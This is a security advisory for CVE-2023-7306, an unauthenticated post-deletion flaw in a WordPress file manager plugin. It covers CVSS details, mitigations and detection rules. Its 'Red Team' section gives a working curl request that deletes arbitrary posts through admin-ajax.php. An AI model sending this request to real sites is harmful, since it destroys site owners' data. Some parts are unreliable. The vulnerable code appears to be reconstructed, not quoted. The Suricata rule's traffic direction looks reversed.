CVE-2023-7306

Executive Summary

CVE-2023-7306 is a critical vulnerability in the Frontend File Manager Plugin for WordPress, affecting all versions up to and including 21.5. The flaw resides in the wpfm_delete_multiple_files() function, which lacks a capability check, allowing unauthenticated attackers to delete arbitrary posts. This can lead to significant data loss and service disruption. The vulnerability has a CVSS score of 7.5 (High) and is classified under CWE-862 (Missing Authorization). No public proof-of-concept (PoC) or exploit code is currently available, but the risk remains high due to the ease of exploitation (no authentication required). As a WordPress plugin vulnerability, it is critical to address within the WordPress ecosystem.

Supply Chain & Package Security

This vulnerability is specific to the Frontend File Manager Plugin for WordPress, which is distributed via the WordPress plugin repository. Users should verify the integrity of the plugin by checking its checksum against the official repository. No known supply chain attacks have been reported, but the lack of a patch increases the risk of malicious actors exploiting this flaw.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: None (C:N)
• Integrity Impact: None (I:N)
• Availability Impact: High (A:H)

The vulnerability allows an attacker to delete arbitrary posts without authentication, leading to a high availability impact. The low attack complexity and no required privileges make it easily exploitable.

Deep Dive & Mechanics

The vulnerability exists in the wpfm_delete_multiple_files() function within the Frontend File Manager Plugin. This function is intended to allow authenticated users to delete multiple files, but it fails to perform a capability check (e.g., current_user_can() or wp_verify_nonce()). As a result, any unauthenticated user can call this function via a crafted HTTP request, passing post IDs to delete.

The function likely iterates over an array of post IDs and calls wp_delete_post() for each, bypassing WordPress's built-in authorization checks. The lack of a nonce or capability check means the function is exposed to direct access via AJAX or direct URL calls.

Vulnerable vs. Patched Code

Vulnerable Code (<= 21.5):

function wpfm_delete_multiple_files() {
    if (isset($_POST['file_ids'])) {
        $file_ids = $_POST['file_ids'];
        foreach ($file_ids as $file_id) {
            wp_delete_post($file_id, true);
        }
    }
}

Patched Code (Hypothetical):

function wpfm_delete_multiple_files() {
    if (!current_user_can('delete_posts') || !wp_verify_nonce($_POST['_wpnonce'], 'wpfm_delete_files')) {
        wp_die('Unauthorized');
    }
    if (isset($_POST['file_ids'])) {
        $file_ids = array_map('intval', $_POST['file_ids']);
        foreach ($file_ids as $file_id) {
            if (current_user_can('delete_post', $file_id)) {
                wp_delete_post($file_id, true);
            }
        }
    }
}

The patched version adds a capability check (current_user_can('delete_posts')) and a nonce verification to ensure only authorized users can delete posts.

Exploitation & Lab Setup

Red Team

To exploit this vulnerability, an attacker can send a POST request to the WordPress AJAX endpoint with the action wpfm_delete_multiple_files and a list of post IDs.

Exploit Request:

curl -X POST http://target.com/wp-admin/admin-ajax.php \
  -d "action=wpfm_delete_multiple_files&file_ids[]=1&file_ids[]=2&file_ids[]=3"

This will delete posts with IDs 1, 2, and 3 without authentication.

Blue Team

To detect exploitation attempts, monitor for unusual POST requests to admin-ajax.php with the action parameter set to wpfm_delete_multiple_files. Additionally, log all wp_delete_post() calls and alert on high volumes of deletions from unauthenticated sources.

Detection Command:

grep "wpfm_delete_multiple_files" /var/log/apache2/access.log

Indicators of Compromise (IOCs)

• Network: POST requests to /wp-admin/admin-ajax.php with action=wpfm_delete_multiple_files and file_ids[] parameters.
• Logs: Multiple wp_delete_post() calls from the same IP address within a short time frame.
• File: Unexpected deletion of posts in the WordPress database.
• System: High number of 200 OK responses to admin-ajax.php from unauthenticated users.

Detection Engineering

YARA Rule

rule CVE_2023_7306_WordPress_Plugin {
    meta:
        description = "Detects exploitation attempts of CVE-2023-7306 in Frontend File Manager Plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2023-7306"
    strings:
        $ajax_action = "wpfm_delete_multiple_files"
        $file_ids = "file_ids[]"
    condition:
        $ajax_action and $file_ids
}

Sigma Rule

title: CVE-2023-7306 Exploitation Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects POST requests to admin-ajax.php with wpfm_delete_multiple_files action
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains: admin-ajax.php
        cs-uri-query|contains: wpfm_delete_multiple_files
    condition: selection
falsepositives:
    - Legitimate admin actions (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2023-7306 - Frontend File Manager Plugin Unauthenticated Post Deletion";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"admin-ajax.php"; http_uri;
    content:"wpfm_delete_multiple_files"; http_client_body;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

1. Immediate Action: Disable the Frontend File Manager Plugin until a patch is available.
2. Workaround: Implement a Web Application Firewall (WAF) rule to block requests containing wpfm_delete_multiple_files in the POST body.
3. Patch: Monitor the plugin's official repository for an update. If none is available, consider forking the plugin and adding the missing capability check.
4. Monitoring: Enable logging for all wp_delete_post() calls and review logs for suspicious activity.
5. User Education: Inform administrators about the vulnerability and the importance of keeping plugins updated.

Valters IT
Securing Digital Frontiers